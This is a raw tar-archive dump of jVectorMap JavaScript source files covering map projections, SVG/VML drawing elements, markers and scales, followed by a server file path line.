prevMap.setFocus({scale: 1, x: 0.5, y: 0.5, animate: true}); }); } }; jvm.MultiMap.defaultParams = { mapNameByCode: function(code, multiMap){ return code.toLowerCase()+'_'+multiMap.defaultProjection+'_en'; }, mapUrlByCode: function(code, multiMap){ return 'jquery-jvectormap-data-'+code.toLowerCase()+'-'+multiMap.defaultProjection+'-en.js'; } } proj.js000064400000015134151677474710006103 0ustar00/** * Contains methods for transforming point on sphere to * Cartesian coordinates using various projections. * @class */ jvm.Proj = { degRad: 180 / Math.PI, radDeg: Math.PI / 180, radius: 6381372, sgn: function(n){ if (n > 0) { return 1; } else if (n < 0) { return -1; } else { return n; } }, /** * Converts point on sphere to the Cartesian coordinates using Miller projection * @param {Number} lat Latitude in degrees * @param {Number} lng Longitude in degrees * @param {Number} c Central meridian in degrees */ mill: function(lat, lng, c){ return { x: this.radius * (lng - c) * this.radDeg, y: - this.radius * Math.log(Math.tan((45 + 0.4 * lat) * this.radDeg)) / 0.8 }; }, /** * Inverse function of mill() * Converts Cartesian coordinates to point on sphere using Miller projection * @param {Number} x X of point in Cartesian system as integer * @param {Number} y Y of point in Cartesian system as integer * @param {Number} c Central meridian in degrees */ mill_inv: function(x, y, c){ return { lat: (2.5 * Math.atan(Math.exp(0.8 * y / this.radius)) - 5 * Math.PI / 8) * this.degRad, lng: (c * this.radDeg + x / this.radius) * this.degRad }; }, /** * Converts point on sphere to the Cartesian coordinates using Mercator projection * @param {Number} lat Latitude in degrees * @param {Number} lng Longitude in degrees * @param {Number} c Central meridian in degrees */ merc: function(lat, lng, c){ return { x: this.radius * (lng - c) * this.radDeg, y: - this.radius * Math.log(Math.tan(Math.PI / 4 + lat * Math.PI / 360)) }; }, /** * Inverse function of merc() * Converts Cartesian coordinates to point on sphere using Mercator projection * @param {Number} x X of point in Cartesian system as integer * @param {Number} y Y of point in Cartesian system as integer * @param {Number} c Central meridian in degrees */ merc_inv: function(x, y, c){ return { lat: (2 * Math.atan(Math.exp(y / this.radius)) - Math.PI / 2) * this.degRad, lng: (c * this.radDeg + x / this.radius) * this.degRad }; }, /** * Converts point on sphere to the Cartesian coordinates using Albers Equal-Area Conic * projection * @see <a href="http://mathworld.wolfram.com/AlbersEqual-AreaConicProjection.html">Albers Equal-Area Conic projection</a> * @param {Number} lat Latitude in degrees * @param {Number} lng Longitude in degrees * @param {Number} c Central meridian in degrees */ aea: function(lat, lng, c){ var fi0 = 0, lambda0 = c * this.radDeg, fi1 = 29.5 * this.radDeg, fi2 = 45.5 * this.radDeg, fi = lat * this.radDeg, lambda = lng * this.radDeg, n = (Math.sin(fi1)+Math.sin(fi2)) / 2, C = Math.cos(fi1)*Math.cos(fi1)+2*n*Math.sin(fi1), theta = n*(lambda-lambda0), ro = Math.sqrt(C-2*n*Math.sin(fi))/n, ro0 = Math.sqrt(C-2*n*Math.sin(fi0))/n; return { x: ro * Math.sin(theta) * this.radius, y: - (ro0 - ro * Math.cos(theta)) * this.radius }; }, /** * Converts Cartesian coordinates to the point on sphere using Albers Equal-Area Conic * projection * @see <a href="http://mathworld.wolfram.com/AlbersEqual-AreaConicProjection.html">Albers Equal-Area Conic projection</a> * @param {Number} x X of point in Cartesian system as integer * @param {Number} y Y of point in Cartesian system as integer * @param {Number} c Central meridian in degrees */ aea_inv: function(xCoord, yCoord, c){ var x = xCoord / this.radius, y = yCoord / this.radius, fi0 = 0, lambda0 = c * this.radDeg, fi1 = 29.5 * this.radDeg, fi2 = 45.5 * this.radDeg, n = (Math.sin(fi1)+Math.sin(fi2)) / 2, C = Math.cos(fi1)*Math.cos(fi1)+2*n*Math.sin(fi1), ro0 = Math.sqrt(C-2*n*Math.sin(fi0))/n, ro = Math.sqrt(x*x+(ro0-y)*(ro0-y)), theta = Math.atan( x / (ro0 - y) ); return { lat: (Math.asin((C - ro * ro * n * n) / (2 * n))) * this.degRad, lng: (lambda0 + theta / n) * this.degRad }; }, /** * Converts point on sphere to the Cartesian coordinates using Lambert conformal * conic projection * @see <a href="http://mathworld.wolfram.com/LambertConformalConicProjection.html">Lambert Conformal Conic Projection</a> * @param {Number} lat Latitude in degrees * @param {Number} lng Longitude in degrees * @param {Number} c Central meridian in degrees */ lcc: function(lat, lng, c){ var fi0 = 0, lambda0 = c * this.radDeg, lambda = lng * this.radDeg, fi1 = 33 * this.radDeg, fi2 = 45 * this.radDeg, fi = lat * this.radDeg, n = Math.log( Math.cos(fi1) * (1 / Math.cos(fi2)) ) / Math.log( Math.tan( Math.PI / 4 + fi2 / 2) * (1 / Math.tan( Math.PI / 4 + fi1 / 2) ) ), F = ( Math.cos(fi1) * Math.pow( Math.tan( Math.PI / 4 + fi1 / 2 ), n ) ) / n, ro = F * Math.pow( 1 / Math.tan( Math.PI / 4 + fi / 2 ), n ), ro0 = F * Math.pow( 1 / Math.tan( Math.PI / 4 + fi0 / 2 ), n ); return { x: ro * Math.sin( n * (lambda - lambda0) ) * this.radius, y: - (ro0 - ro * Math.cos( n * (lambda - lambda0) ) ) * this.radius }; }, /** * Converts Cartesian coordinates to the point on sphere using Lambert conformal conic * projection * @see <a href="http://mathworld.wolfram.com/LambertConformalConicProjection.html">Lambert Conformal Conic Projection</a> * @param {Number} x X of point in Cartesian system as integer * @param {Number} y Y of point in Cartesian system as integer * @param {Number} c Central meridian in degrees */ lcc_inv: function(xCoord, yCoord, c){ var x = xCoord / this.radius, y = yCoord / this.radius, fi0 = 0, lambda0 = c * this.radDeg, fi1 = 33 * this.radDeg, fi2 = 45 * this.radDeg, n = Math.log( Math.cos(fi1) * (1 / Math.cos(fi2)) ) / Math.log( Math.tan( Math.PI / 4 + fi2 / 2) * (1 / Math.tan( Math.PI / 4 + fi1 / 2) ) ), F = ( Math.cos(fi1) * Math.pow( Math.tan( Math.PI / 4 + fi1 / 2 ), n ) ) / n, ro0 = F * Math.pow( 1 / Math.tan( Math.PI / 4 + fi0 / 2 ), n ), ro = this.sgn(n) * Math.sqrt(x*x+(ro0-y)*(ro0-y)), theta = Math.atan( x / (ro0 - y) ); return { lat: (2 * Math.atan(Math.pow(F/ro, 1/n)) - Math.PI / 2) * this.degRad, lng: (lambda0 + theta / n) * this.degRad }; } };vml-image-element.js000064400000002727151677474710010442 0ustar00jvm.VMLImageElement = function(config, style){ jvm.VMLImageElement.parentClass.call(this, 'image', config, style); }; jvm.inherits(jvm.VMLImageElement, jvm.VMLShapeElement); jvm.VMLImageElement.prototype.applyAttr = function(attr, value){ var patternEl, imageEl, that = this; if (attr == 'image') { jvm.whenImageLoaded(value).then(function(img){ that.node.setAttribute('src', value); that.width = img[0].width; that.height = img[0].height; that.applyAttr('width', that.width); that.applyAttr('height', that.height); jvm.VMLImageElement.images[value] = jvm.VMLImageElement.imageCounter++; that.applyAttr('x', that.cx - that.width / 2); that.applyAttr('y', that.cy - that.height / 2); jvm.$(that.node).trigger('imageloaded', [img]); }); } else if(attr == 'cx') { this.cx = value; if (this.width) { this.applyAttr('x', value - this.width / 2); } } else if(attr == 'cy') { this.cy = value; if (this.height) { this.applyAttr('y', value - this.height / 2); } } else if(attr == 'width' || attr == 'height') { this.node.style[attr] = value + 'px'; } else if (attr == 'x' || attr == 'y') { this.node.style[attr == 'x' ? 'left' : 'top'] = value + 'px'; } else { jvm.VMLImageElement.parentClass.prototype.applyAttr.apply(this, arguments); } }; jvm.VMLImageElement.imageCounter = 1; jvm.VMLImageElement.images = {}abstract-canvas-element.js000064400000005670151677474710011640 0ustar00/** * Implements abstract vector canvas. * @constructor * @param {HTMLElement} container Container to put element to. * @param {Number} width Width of canvas. * @param {Number} height Height of canvas. */ jvm.AbstractCanvasElement = function(container, width, height){ this.container = container; this.setSize(width, height); this.rootElement = new jvm[this.classPrefix+'GroupElement'](); this.node.appendChild( this.rootElement.node ); this.container.appendChild(this.node); } /** * Add element to the certain group inside of the canvas. * @param {HTMLElement} element Element to add to canvas. * @param {HTMLElement} group Group to add element into or into root group if not provided. */ jvm.AbstractCanvasElement.prototype.add = function(element, group){ group = group || this.rootElement; group.add(element); element.canvas = this; } /** * Create path and add it to the canvas. * @param {Object} config Parameters of path to create. * @param {Object} style Styles of the path to create. * @param {HTMLElement} group Group to add path into. */ jvm.AbstractCanvasElement.prototype.addPath = function(config, style, group){ var el = new jvm[this.classPrefix+'PathElement'](config, style); this.add(el, group); return el; }; /** * Create circle and add it to the canvas. * @param {Object} config Parameters of path to create. * @param {Object} style Styles of the path to create. * @param {HTMLElement} group Group to add circle into. */ jvm.AbstractCanvasElement.prototype.addCircle = function(config, style, group){ var el = new jvm[this.classPrefix+'CircleElement'](config, style); this.add(el, group); return el; }; /** * Create circle and add it to the canvas. * @param {Object} config Parameters of path to create. * @param {Object} style Styles of the path to create. * @param {HTMLElement} group Group to add circle into. */ jvm.AbstractCanvasElement.prototype.addImage = function(config, style, group){ var el = new jvm[this.classPrefix+'ImageElement'](config, style); this.add(el, group); return el; }; /** * Create text and add it to the canvas. * @param {Object} config Parameters of path to create. * @param {Object} style Styles of the path to create. * @param {HTMLElement} group Group to add circle into. */ jvm.AbstractCanvasElement.prototype.addText = function(config, style, group){ var el = new jvm[this.classPrefix+'TextElement'](config, style); this.add(el, group); return el; }; /** * Add group to the another group inside of the canvas. * @param {HTMLElement} group Group to add circle into or root group if not provided. */ jvm.AbstractCanvasElement.prototype.addGroup = function(parentGroup){ var el = new jvm[this.classPrefix+'GroupElement'](); if (parentGroup) { parentGroup.node.appendChild(el.node); } else { this.node.appendChild(el.node); } el.canvas = this; return el; };marker.js000064400000004135151677474710006411 0ustar00jvm.Marker = function(config){ var text, offsets; this.config = config; this.map = this.config.map; this.isImage = !!this.config.style.initial.image; this.createShape(); text = this.getLabelText(config.index); if (this.config.label && text) { this.offsets = this.getLabelOffsets(config.index); this.labelX = config.cx / this.map.scale - this.map.transX; this.labelY = config.cy / this.map.scale - this.map.transY; this.label = config.canvas.addText({ text: text, 'data-index': config.index, dy: "0.6ex", x: this.labelX, y: this.labelY }, config.labelStyle, config.labelsGroup); this.label.addClass('jvectormap-marker jvectormap-element'); } }; jvm.inherits(jvm.Marker, jvm.MapObject); jvm.Marker.prototype.createShape = function(){ var that = this; if (this.shape) { this.shape.remove(); } this.shape = this.config.canvas[this.isImage ? 'addImage' : 'addCircle']({ "data-index": this.config.index, cx: this.config.cx, cy: this.config.cy }, this.config.style, this.config.group); this.shape.addClass('jvectormap-marker jvectormap-element'); if (this.isImage) { jvm.$(this.shape.node).on('imageloaded', function(){ that.updateLabelPosition(); }); } }; jvm.Marker.prototype.updateLabelPosition = function(){ if (this.label) { this.label.set({ x: this.labelX * this.map.scale + this.offsets[0] + this.map.transX * this.map.scale + 5 + (this.isImage ? (this.shape.width || 0) / 2 : this.shape.properties.r), y: this.labelY * this.map.scale + this.map.transY * this.map.scale + this.offsets[1] }); } }; jvm.Marker.prototype.setStyle = function(property, value){ var isImage; jvm.Marker.parentClass.prototype.setStyle.apply(this, arguments); if (property === 'r') { this.updateLabelPosition(); } isImage = !!this.shape.get('image'); if (isImage != this.isImage) { this.isImage = isImage; this.config.style = jvm.$.extend(true, {}, this.shape.style); this.createShape(); } };svg-image-element.js000064400000002157151677474710010440 0ustar00jvm.SVGImageElement = function(config, style){ jvm.SVGImageElement.parentClass.call(this, 'image', config, style); }; jvm.inherits(jvm.SVGImageElement, jvm.SVGShapeElement); jvm.SVGImageElement.prototype.applyAttr = function(attr, value){ var that = this; if (attr == 'image') { jvm.whenImageLoaded(value).then(function(img){ that.node.setAttributeNS('http://www.w3.org/1999/xlink', 'href', value); that.width = img[0].width; that.height = img[0].height; that.applyAttr('width', that.width); that.applyAttr('height', that.height); that.applyAttr('x', that.cx - that.width / 2); that.applyAttr('y', that.cy - that.height / 2); jvm.$(that.node).trigger('imageloaded', [img]); }); } else if(attr == 'cx') { this.cx = value; if (this.width) { this.applyAttr('x', value - this.width / 2); } } else if(attr == 'cy') { this.cy = value; if (this.height) { this.applyAttr('y', value - this.height / 2); } } else { jvm.SVGImageElement.parentClass.prototype.applyAttr.apply(this, arguments); } };abstract-shape-element.js000064400000003546151677474710011465 0ustar00/** * Abstract shape element. Shape element represents some visual vector or raster object. * @constructor * @param {String} name Tag name of the element. * @param {Object} config Set of parameters to initialize element with. * @param {Object} style Object with styles to set on element initialization. */ jvm.AbstractShapeElement = function(name, config, style){ this.style = style || {}; this.style.current = this.style.current || {}; this.isHovered = false; this.isSelected = false; this.updateStyle(); }; /** * Set element's style. * @param {Object|String} property Could be string to set only one property or object to set several style properties at once. * @param {String} value Value to set in case only one property should be set. */ jvm.AbstractShapeElement.prototype.setStyle = function(property, value){ var styles = {}; if (typeof property === 'object') { styles = property; } else { styles[property] = value; } jvm.$.extend(this.style.current, styles); this.updateStyle(); }; jvm.AbstractShapeElement.prototype.updateStyle = function(){ var attrs = {}; jvm.AbstractShapeElement.mergeStyles(attrs, this.style.initial); jvm.AbstractShapeElement.mergeStyles(attrs, this.style.current); if (this.isHovered) { jvm.AbstractShapeElement.mergeStyles(attrs, this.style.hover); } if (this.isSelected) { jvm.AbstractShapeElement.mergeStyles(attrs, this.style.selected); if (this.isHovered) { jvm.AbstractShapeElement.mergeStyles(attrs, this.style.selectedHover); } } this.set(attrs); }; jvm.AbstractShapeElement.mergeStyles = function(styles, newStyles){ var key; newStyles = newStyles || {}; for (key in newStyles) { if (newStyles[key] === null) { delete styles[key]; } else { styles[key] = newStyles[key]; } } }abstract-element.js000064400000003274151677474710010365 0ustar00/** * Basic wrapper for DOM element. * @constructor * @param {String} name Tag name of the element * @param {Object} config Set of parameters to initialize element with */ jvm.AbstractElement = function(name, config){ /** * Underlying DOM element * @type {DOMElement} * @private */ this.node = this.createElement(name); /** * Name of underlying element * @type {String} * @private */ this.name = name; /** * Internal store of attributes * @type {Object} * @private */ this.properties = {}; if (config) { this.set(config); } }; /** * Set attribute of the underlying DOM element. * @param {String} name Name of attribute * @param {Number|String} config Set of parameters to initialize element with */ jvm.AbstractElement.prototype.set = function(property, value){ var key; if (typeof property === 'object') { for (key in property) { this.properties[key] = property[key]; this.applyAttr(key, property[key]); } } else { this.properties[property] = value; this.applyAttr(property, value); } }; /** * Returns value of attribute. * @param {String} name Name of attribute */ jvm.AbstractElement.prototype.get = function(property){ return this.properties[property]; }; /** * Applies attribute value to the underlying DOM element. * @param {String} name Name of attribute * @param {Number|String} config Value of attribute to apply * @private */ jvm.AbstractElement.prototype.applyAttr = function(property, value){ this.node.setAttribute(property, value); }; jvm.AbstractElement.prototype.remove = function(){ jvm.$(this.node).remove(); };svg-circle-element.js000064400000000270151677474710010611 0ustar00jvm.SVGCircleElement = function(config, style){ jvm.SVGCircleElement.parentClass.call(this, 'circle', config, style); }; jvm.inherits(jvm.SVGCircleElement, jvm.SVGShapeElement);svg-element.js000064400000002371151677474710007356 0ustar00/** * Wrapper for SVG element. * @constructor * @extends jvm.AbstractElement * @param {String} name Tag name of the element * @param {Object} config Set of parameters to initialize element with */ jvm.SVGElement = function(name, config){ jvm.SVGElement.parentClass.apply(this, arguments); } jvm.inherits(jvm.SVGElement, jvm.AbstractElement); jvm.SVGElement.svgns = "http://www.w3.org/2000/svg"; /** * Creates DOM element. * @param {String} tagName Name of element * @private * @returns DOMElement */ jvm.SVGElement.prototype.createElement = function( tagName ){ return document.createElementNS( jvm.SVGElement.svgns, tagName ); }; /** * Adds CSS class for underlying DOM element. * @param {String} className Name of CSS class name */ jvm.SVGElement.prototype.addClass = function( className ){ this.node.setAttribute('class', className); }; /** * Returns constructor for element by name prefixed with 'VML'. * @param {String} ctr Name of basic constructor to return * proper implementation for. * @returns Function * @private */ jvm.SVGElement.prototype.getElementCtr = function( ctr ){ return jvm['SVG'+ctr]; }; jvm.SVGElement.prototype.getBBox = function(){ return this.node.getBBox(); };vml-circle-element.js000064400000001515151677474710010613 0ustar00jvm.VMLCircleElement = function(config, style){ jvm.VMLCircleElement.parentClass.call(this, 'oval', config, style); }; jvm.inherits(jvm.VMLCircleElement, jvm.VMLShapeElement); jvm.VMLCircleElement.prototype.applyAttr = function(attr, value){ switch (attr) { case 'r': this.node.style.width = value*2+'px'; this.node.style.height = value*2+'px'; this.applyAttr('cx', this.get('cx') || 0); this.applyAttr('cy', this.get('cy') || 0); break; case 'cx': if (!value) return; this.node.style.left = value - (this.get('r') || 0) + 'px'; break; case 'cy': if (!value) return; this.node.style.top = value - (this.get('r') || 0) + 'px'; break; default: jvm.VMLCircleElement.parentClass.prototype.applyAttr.call(this, attr, value); } };ordinal-scale.js000064400000000564151677474710007647 0ustar00jvm.OrdinalScale = function(scale){ this.scale = scale; }; jvm.OrdinalScale.prototype.getValue = function(value){ return this.scale[value]; }; jvm.OrdinalScale.prototype.getTicks = function(){ var ticks = [], key; for (key in this.scale) { ticks.push({ label: key, value: this.scale[key] }); } return ticks; };svg-shape-element.js000064400000003605151677474710010455 0ustar00jvm.SVGShapeElement = function(name, config, style){ jvm.SVGShapeElement.parentClass.call(this, name, config); jvm.AbstractShapeElement.apply(this, arguments); }; jvm.inherits(jvm.SVGShapeElement, jvm.SVGElement); jvm.mixin(jvm.SVGShapeElement, jvm.AbstractShapeElement); jvm.SVGShapeElement.prototype.applyAttr = function(attr, value){ var patternEl, imageEl, that = this; if (attr === 'fill' && jvm.isImageUrl(value)) { if (!jvm.SVGShapeElement.images[value]) { jvm.whenImageLoaded(value).then(function(img){ imageEl = new jvm.SVGElement('image'); imageEl.node.setAttributeNS('http://www.w3.org/1999/xlink', 'href', value); imageEl.applyAttr('x', '0'); imageEl.applyAttr('y', '0'); imageEl.applyAttr('width', img[0].width); imageEl.applyAttr('height', img[0].height); patternEl = new jvm.SVGElement('pattern'); patternEl.applyAttr('id', 'image'+jvm.SVGShapeElement.imageCounter); patternEl.applyAttr('x', 0); patternEl.applyAttr('y', 0); patternEl.applyAttr('width', img[0].width / 2); patternEl.applyAttr('height', img[0].height / 2); patternEl.applyAttr('viewBox', '0 0 '+img[0].width+' '+img[0].height); patternEl.applyAttr('patternUnits', 'userSpaceOnUse'); patternEl.node.appendChild( imageEl.node ); that.canvas.defsElement.node.appendChild( patternEl.node ); jvm.SVGShapeElement.images[value] = jvm.SVGShapeElement.imageCounter++; that.applyAttr('fill', 'url(#image'+jvm.SVGShapeElement.images[value]+')'); }); } else { this.applyAttr('fill', 'url(#image'+jvm.SVGShapeElement.images[value]+')'); } } else { jvm.SVGShapeElement.parentClass.prototype.applyAttr.apply(this, arguments); } }; jvm.SVGShapeElement.imageCounter = 1; jvm.SVGShapeElement.images = {};
/home/emeraadmin/.spamassassin/../public_html/ba656/../4d695/src.tar